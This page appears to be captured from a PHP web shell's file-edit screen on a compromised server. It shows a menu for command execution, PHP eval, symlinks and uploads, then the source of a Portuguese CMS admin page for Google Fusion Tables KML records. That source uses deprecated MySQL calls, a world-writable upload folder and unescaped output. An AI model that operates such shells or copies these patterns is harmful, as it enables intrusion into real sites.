Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
5.6.40-0+deb8u12
Disk Space
41.05 GB
Server Addr
19-www4
Your IP
10.10.10.40
Edit File
File:
<? @require_once("header.php"); define("PAGE_TITLE", "KML GOOGLE FUSION TABLES"); define("TABLE_NAME", "site_kml"); define("FILE_NAME", router(1)); define("ORDENAVEL", 1); // 0 ou 1 define("ORDERBY", 'ordem ASC, nome ASC, ID ASC'); nivel('sojasat'); // nivel(FILE_NAME); ou nivel('condicao'); // Cria a pasta, caso não exista. if(is_dir("../uploads/".FILE_NAME) == false){ mkdir("../uploads/".FILE_NAME, 0777); } $camposNaoDeletar = array("ID", "ordem"); $configs = array( // TEXTO array( "nomeCampo" => "nome", "nomeExib" => "Nome visível", "require" => true, "htmlType" => "text", "htmlClass" => "col-md-12", ), // TEXTO array( "nomeCampo" => "codigo", "nomeExib" => "LINK DE PUBLICAÇÃO", "require" => false, "placeholder" => "https://fusiontables.google.com/embedviz?q=select+col5+from+151CdMf5Dl26fVmefUN9rP5VAbxU1QbXzmu_SEUJt&viz=MAP&h=false&lat=-11.139501343469021&lng=-55.189386343750016&t=1&z=6&l=col5&y=2&tmplt=2&hml=KML", "htmlType" => "text", "htmlClass" => "col-md-12", "addonLang" => true ), array( "nomeCampo" => "exibir", "nomeExib" => "Exibir na lista", "require" => true, "htmlType" => "select", "htmlClass" => "col-md-3", "typeSelect" => array( "1" => "Sim", "0" => "Não, oculto" ) ), array( "nomeCampo" => "tipo", "nomeExib" => "Tipo de dados", "require" => true, "htmlType" => "select", "htmlClass" => "col-md-3", "typeSelect" => array( "Safra" => "Safra", "Municípios" => "Municípios", "Mesoregiões" => "Mesoregiões", ) ), array( "nomeCampo" => "codigoCor", "nomeExib" => "Código da cor", "require" => false, "htmlType" => "color", "htmlClass" => "col-md-3", "addonRight" => "<i></i>" ), ); $galeria = array( "ativo" => false, "width" => 1200, "height" => 0, "corte" => "crop", // proporcional, crop ou preenchimento "thumbs" => true, "thumbsConf" => array( "thumb1" => array("corte" => "crop", "w" => 300, "h" => 300, "prenome" => 'list-adm'), "thumb2" => array("corte" => "proporcional", "w" => 300, "h" => 200, "prenome" => 'thumb'), ) ); ?> <div class="container"> <div class="row"> <div class="col-md-6 text-left"> <h1><?= PAGE_TITLE; ?></h1> </div> <div class="col-md-6 text-right"> <? if(ORDENAVEL == 1){ if((router(2) == "list" or router(2) == "lista" or router(2) == "") and (router(3) == "")){ ?> <a href="view/<?= FILE_NAME; ?>/list/order" class="btn btn-warning btn-sm btns-mobile"><i class="fa fa-sort"></i> ORDENAR</a> <? } ?> <? if(router(3) == "order"){ ?> <a href="view/<?= FILE_NAME; ?>/list" class="btn btn-warning btn-sm btns-mobile"><i class="fa fa-chevron-left"></i> Voltar para lista</a> <? } } ?> <? if(router(2) == "list" or router(2) == "lista" or router(2) == ""){ ?> <a href="view/<?= FILE_NAME; ?>/insert" class="btn btn-success btn-sm btns-mobile"><i class="fa fa-plus-circle"></i> CADASTRAR NOVO</a> <? }else{ ?> <a href="view/<?= FILE_NAME; ?>/list" class="btn btn-success btn-sm btns-mobile"><i class="fa fa-chevron-left"></i> Voltar para lista</a> <? } ?> </div> </div> <br /> <!-- INÍCIO DA LISTA --> <? if(router(2) == "lista" or router(2) == "list" or router(2) == ""){ $sql = mysql_query("SELECT * FROM ".TABLE_NAME." ORDER BY ".ORDERBY); $result = mysql_num_rows($sql); if($result > 0){ ?> <div class="result-ordem" style="position: fixed; width: 100%; bottom: 0px; left: 0px; z-index: 3;"></div> <div class="row"> <div style="overflow: auto"> <div class="col-xs-12"> <table id="tableList" class="table table-striped table-hover text-nowrap" cellspacing="0" width="100%"> <thead> <tr> <th>Nome</th> <th data-sortable="false" class="text-right">Ação</th> </tr> </thead> <tbody> <? while($ln = mysql_fetch_object($sql)){ ?> <tr id="widgetArray_<?= $ln->ID; ?>"> <td><?= $ln->nome; ?></td> <td class="text-right" style="width: 300px;"> <a href="view/<?= FILE_NAME; ?>/update/<?= $ln->ID; ?>" class="btn btn-primary btn-sm"><i class="fa fa-pencil-square-o"></i> Editar</a> <a href="javascript:;" class="btn btn-danger btn-sm deletar" data-id="<?= $ln->ID; ?>"><i class="fa fa-trash"></i></a> </td> </tr> <? } ?> </tbody> </table> </div> </div> </div> <? }else{ echo ' <br /> <div class="alert text-center alert-info"> Nenhum registro cadastrado para ser exibido. </div> '; } ?> <script> $(document).ready(function(){ <? if(router(3) == "order" and ORDENAVEL == 1){ ?> // ORDENAR $("#tableList tbody").sortable({ opacity: 0.4, start: function(e, ui){ // CLONE DE PLACEHLDER REMOVE AS TD E COLOCA COMO DISPLAY ROW ui.placeholder.html('<td colspan="100"></td>').css('display', 'table-row'); ui.placeholder.width(ui.item.outerWidth(true)-4); ui.placeholder.height(ui.item.outerHeight(true)-4); }, cursor: 'move', update: function(){ var order = $(this).sortable("serialize"); $.post("model/<?= FILE_NAME; ?>/ordem-registros/<?= TABLE_NAME; ?>", order, function(retorno){ $(".result-ordem").html('<div class="alert text-center alert-info alert-drop" style="margin-bottom: 0;">Ordem atualizada com sucesso.</div>'); $(".result-ordem").fadeTo(2000, 500).slideUp(500, function(){ $(this).slideUp("fast"); }); }); } }).disableSelection(); $("#tableList tbody tr").css('cursor', 'ns-resize'); <? } ?> var confirm = 1; $(".deletar").click(function(){ var ID = $(this).attr("data-id"); if(confirm == 1) { swal({ title: 'Deletar mesmo?', html: '<label><input type="checkbox" id="checkNaoMostraMais"> Não mostrar mais</label>', showCancelButton: true, confirmButtonColor: '#95C679', cancelButtonColor: '#d33', confirmButtonText: 'Sim, deletar', cancelButtonText: 'Não', closeOnConfirm: true, closeOnCancel: true }).then(function() { if($('#checkNaoMostraMais').is(":checked")){ confirm = 0; } $("#widgetArray_"+ID).css({ "background-color" : "#E74C3C", "color" : "#ffffff", "opacity" : "0.5" }); $.post("model/<?= FILE_NAME; ?>/deletar", {ID : ID, tabela : '<?= TABLE_NAME; ?>'}); $("#widgetArray_"+ID).fadeOut("fast"); }); } else { $("#widgetArray_"+ID).css({ "background-color" : "#E74C3C", "color" : "#ffffff", "opacity" : "0.5" }); $.post("model/<?= FILE_NAME; ?>/deletar", {ID : ID, tabela : '<?= TABLE_NAME; ?>'}); $("#widgetArray_"+ID).fadeOut("fast"); } }); <? if($result > 1 and router(3) <> "order"){ ?> $('#tableList').dataTable( { columnDefs: [{ <? if(ORDENAVEL == 1){ echo 'sortable: false,'; } ?> type: 'chinese-string', targets: '_all' }], aaSorting: [], }); <? } ?> }); </script> <? } // List ?> <!-- FIM DA LISTA --> <? include "_padrao.php"; ?> </div>